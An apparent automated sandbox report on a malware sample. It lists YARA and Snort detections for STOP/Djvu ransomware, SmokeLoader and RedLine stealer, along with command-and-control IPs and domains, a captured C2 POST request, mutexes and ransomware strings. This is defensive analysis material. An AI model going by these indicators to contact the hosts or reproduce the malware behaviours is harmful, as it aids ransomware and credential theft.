18.0.253.exe.400000.6.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
18.0.253.exe.400000.6.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
18.0.253.exe.400000.6.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
18.0.253.exe.400000.6.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
Click to see the 74 entries

Snort Signatures

ET TROJAN Win32/RecordBreaker CnC Checkin - Server Response - Source IP: 193.38.55.180 - Destination IP: 192.168.2.7

Timestamp:	193.38.55.180192.168.2.780497032036955 10/03/22-17:35:23.024597
SID:	2036955
Source Port:	80
Destination Port:	49703
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/RecordBreaker - Observed UA M3 (TakeMyPainBack) - Source IP: 192.168.2.7 - Destination IP: 193.38.55.180

Timestamp:	192.168.2.7193.38.55.18049703802038916 10/03/22-17:35:31.206670
SID:	2038916
Source Port:	49703
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/RecordBreaker CnC Checkin M1 - Source IP: 192.168.2.7 - Destination IP: 193.38.55.180

Timestamp:	192.168.2.7193.38.55.18049703802036934 10/03/22-17:35:22.638036
SID:	2036934
Source Port:	49703
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://cubye.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 176Host: furubujjul.net

Source: unknown

HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.7:49704 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 11.3.sfrvjvv.5c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.sfrvjvv.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.sfrvjvv.5a0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.file.exe.5f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.5e0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.472600397.0000000000640000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.327538196.00000000005F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.307013938.00000000023E1000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.244640816.00000000005F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.473353545.0000000000871000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.328002456.00000000021E1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.459694158.00000000005C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 13_2_004188D4 GetClipboardData,CopyEnhMetaFileA,GetEnhMetaFileHeader,

13_2_004188D4

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 13_2_00418F18 GetObjectA,GetDC,CreateCompatibleDC,CreateBitmap,CreateCompatibleBitmap,GetDeviceCaps,GetDeviceCaps,SelectObject,GetDIBColorTable,GetDIBits,SelectObject,CreateDIBSection,GetDIBits,SelectObject,SelectPalette,RealizePalette,FillRect,SetTextColor,SetBkColor,SetDIBColorTable,PatBlt,CreateCompatibleDC,SelectObject,SelectPalette,RealizePalette,SetTextColor,SetBkColor,BitBlt,SelectPalette,SelectObject,DeleteDC,SelectPalette,

13_2_00418F18

Source: 253.exe, 0000000E.00000002.447782321.0000000000949000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Spam, unwanted Advertisements and Ransom Demands

Yara detected Djvu Ransomware

Source: Yara match	File source: 18.2.253.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.0.253.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.253.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.0.253.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.0.253.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.0.253.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.0.253.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.0.253.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.0.253.exe.400000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.0.253.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.253.exe.23d15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.0.253.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.0.253.exe.400000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.0.253.exe.400000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.253.exe.23d15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.0.253.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000000.420031906.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000000.430997531.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.451482759.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000000.404293183.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.450132397.00000000023D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000000.425225650.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000000.428495458.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 253.exe PID: 1692, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 253.exe PID: 4188, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 18.0.253.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 18.0.253.exe.400000.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 18.2.253.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 18.2.253.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 18.0.253.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 18.0.253.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 18.0.253.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 18.2.253.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 18.2.253.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 18.0.253.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 18.0.253.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 18.0.253.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 18.0.253.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 18.0.253.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 18.0.253.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 18.0.253.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 18.0.253.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 18.0.253.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 18.0.253.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 18.0.253.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 18.0.253.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 18.0.253.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 18.0.253.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 18.0.253.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 14.2.253.exe.23d15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 14.2.253.exe.23d15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 18.0.253.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 18.0.253.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 18.0.253.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 18.0.253.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 18.0.253.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 18.0.253.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 18.0.253.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 14.2.253.exe.23d15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 14.2.253.exe.23d15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 18.0.253.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 18.0.253.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000000.00000002.327806138.0000000000719000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000B.00000002.472600397.0000000000640000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.327538196.00000000005F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000B.00000002.473007456.0000000000678000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000012.00000000.381594239.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000012.00000000.420031906.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000012.00000000.420031906.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000E.00000002.448264858.00000000022E3000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000012.00000000.430997531.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000012.00000000.430997531.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000B.00000002.472415838.00000000005A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000012.00000002.451482759.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000012.00000002.451482759.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000012.00000000.404293183.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000012.00000000.404293183.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000001.00000000.307013938.00000000023E1000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000E.00000002.450132397.00000000023D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000000.00000002.327509086.00000000005E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000011.00000000.373415476.0000000002C70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000B.00000002.473353545.0000000000871000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.328002456.00000000021E1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000012.00000000.425225650.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000012.00000000.425225650.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000012.00000000.428495458.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000012.00000000.428495458.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: 253.exe PID: 1692, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: 253.exe PID: 4188, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004022E9	0_2_004022E9
Source: C:\Users\user\AppData\Roaming\sfrvjvv	Code function: 11_2_004022E9	11_2_004022E9
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_004270FC	13_2_004270FC
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_0041C2C4	13_2_0041C2C4
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_0041C7EC	13_2_0041C7EC
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_004277B8	13_2_004277B8
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_0040CB38	13_2_0040CB38
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_00428DA0	13_2_00428DA0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_052A4450	13_2_052A4450
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_04EA2440	13_2_04EA2440
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_04EA4570	13_2_04EA4570
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_04EA1000	13_2_04EA1000
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_04EA21A5	13_2_04EA21A5
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_04EA13E0	13_2_04EA13E0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_04EA1680	13_2_04EA1680
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_04EA41C0	13_2_04EA41C0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_04EA2EF0	13_2_04EA2EF0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_04EA3FE0	13_2_04EA3FE0

Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior

Source: sqlite3.dll.20.dr	Static PE information: Number of sections : 18 > 10
Source: 959.exe.1.dr	Static PE information: Number of sections : 16 > 10

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\LocalLow\freebl3.dll B2AE93D30C8BEB0B26F03D4A8325AC89B92A299E8F853E5CAA51BB32575B06C6

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 18.0.253.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 18.0.253.exe.400000.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 18.2.253.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 18.2.253.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 18.2.253.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 18.0.253.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 18.0.253.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 18.0.253.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 18.0.253.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 18.2.253.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 18.2.253.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 18.2.253.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 18.0.253.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 18.0.253.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 18.0.253.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 18.0.253.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 18.0.253.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 18.0.253.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 18.0.253.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 18.0.253.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 18.0.253.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 18.0.253.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 18.0.253.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 18.0.253.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 18.0.253.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
